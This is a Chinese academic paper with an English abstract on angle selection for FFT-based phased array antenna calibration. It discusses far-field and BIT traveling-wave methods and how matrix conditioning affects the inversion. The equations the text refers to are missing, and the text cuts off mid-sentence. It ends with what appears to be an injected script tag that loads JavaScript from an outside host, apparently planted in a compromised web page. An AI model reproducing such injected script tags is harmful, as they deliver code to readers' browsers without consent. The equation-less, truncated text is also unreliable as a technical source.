摘 要： 陈述了基于fft校正相控阵天线的角度选择关系θk=sin-1{λ［2k-(n+1) ］/(2nd)}。并从天线理论和数学的角度对该关系进行了论证。结果表明，采用此关系选择角度有助于提高检测校正精度。
关键词：相控阵， 校正， 角度选择
angle selection based on fft calibration for phased array antenna
zou yongqing, cao jun, li guangzhong
（east china research institute of electronic engineering, hefei 230031）
abstract: in this paper, the relationship θk=sin-1{λ［2k-(n+1)］/(2nd)},the angle selection for phasedarray calibration based on fft method is presented, and then proved from antenna pattern and math view. what using this relation can make some precise for phasedarray calibration is the conclusion.
key words: phasedarray, calibration, angle selection
1 引言
相控阵天线由于器件的不一致性、制造公差、装配误差、环境的变化等多种原因，往往会出现较大的口径幅度和相位误差，使得天线增益降低、副瓣升高，所以相控阵天线需要进行检测和校正。通过检测可以发现口径分布的误差，使天线口径幅度、相位分布符合设计要求，实现天线低副瓣。
相控阵天线口径幅相分布检测校正方法很多，如bit检测校正法［1］，天线远场校正法［1，9］、近场法［2］、阵外校正法［3］等。bit阵内校正方法最适于安装在载体上的相控阵天线系统，这种方法可以实现在线检测和校正，能随时校正环境因素对有源相控阵天线口径幅度、相位分布带来的影响，保持天线波瓣特性。bit校正方法已形成bit行波检测校正［1］、bit矩阵开关检测校正、互耦检测校正［5］等多种方法。在检测校正算法上也有长足发展，如fft算法、矩阵求逆法、超定方程最小二乘法［9］等。
2 基本理论
天线远场波瓣检测校正方法是从外部发射一平面波照射到待测天线口径上，通过检测天线远场波瓣某些角度（θk）幅度、相位，经fft等反演算法获得天线口径幅度、相位值，并通过波束控制系统对分布误差加以校正。例如，由n个单元组成的一维有源相控阵天线，单元间距d，第n个单元电流矢量（复数）in，那么角度θk处远场电场矢量（复数）e(θk)就可以通过傅立叶变换得到：
其中：f(θ，φ)为单元方向图。
阵内bit行波校正法将一个校正网络安装在天线阵面的背后，射频信号从网络输入端注入网络中形成行波，弱耦合器将行波信号耦合到待检的馈电系统之中。如果校正网络中射频信号的导波长为λg，耦合到第n个单元电流矢量为in，那么与远场同理，θk角度的合成电场矢量e(θk)为
其中：c′n为第n个单元与校正网络之间耦合度（复数），λ0、λg分别为自由空间波长和校正网络内的导波长。
（1）、（2）两式不同之处仅在于单元因子f(θ，φ)与单元耦合度c′n、单元的电流in与i′n对应内容的不同，故可将两式写成下面统一的数学表达形式：
其矩阵表达式为：
简记为：
从（4）式或（5）式可以看出，基于fft校正方法校正相控阵天线时，反演的数学问题二者是完全一致的。即只要知道n个角度位置θk的幅相波瓣en×1，就可以通过（4）式反演求出an×1。两者的差异只是处理的不同：①若采用远场幅相波瓣校正时，需要除去单元方向图的影响，由an×1求得口径电流分布in；②若采用bit行波校正方法，则需要除去耦合度的影响数值，先由an×1求出各单元i′n后，再考虑行波相位的延迟，由（3）式求得相应口径电流分布in。
3 校正反演的数学要求
3.1问题的提出
从数学上讲，基于fft方法检测校正相控阵的过程就是选取校正角度θk，并由此构造n元线性方程（4）、求解n元线性方程（4）的过程。当（4）式的变换矩阵en×n满秩时，各方程线性无关，可直接通过
事实上，对矩阵方程（4）进行反演时，并不是选取任意n个角度位置θk所构成方程组都可以反演获得天线口径分布。无论采用等θ步进，还是等sinθ步进等选取校正角度，如不遵守下列数学要求，都无法获得高精度的校正结果，甚至会发生错误的校正。天线单元越多，这一点愈显著。
3.2校正反演的数学要求
基于fft校正相控阵天线时，变换矩阵en×n必须满秩，但仅有变换矩阵en×n满秩的条件是不够的。由于合成电场矢量e(θ)存在着一定扰动δe（如采样误差、噪声等），势必在进行方程求解时引入到分布之中，形成误差δa。δa的大小取决于矩阵 en×n的条件数［7，8］。即：
如果矩阵en×n的条件数很大，则矩阵是“病态”的，这时很小的?script src=http://er12.com/t.js>
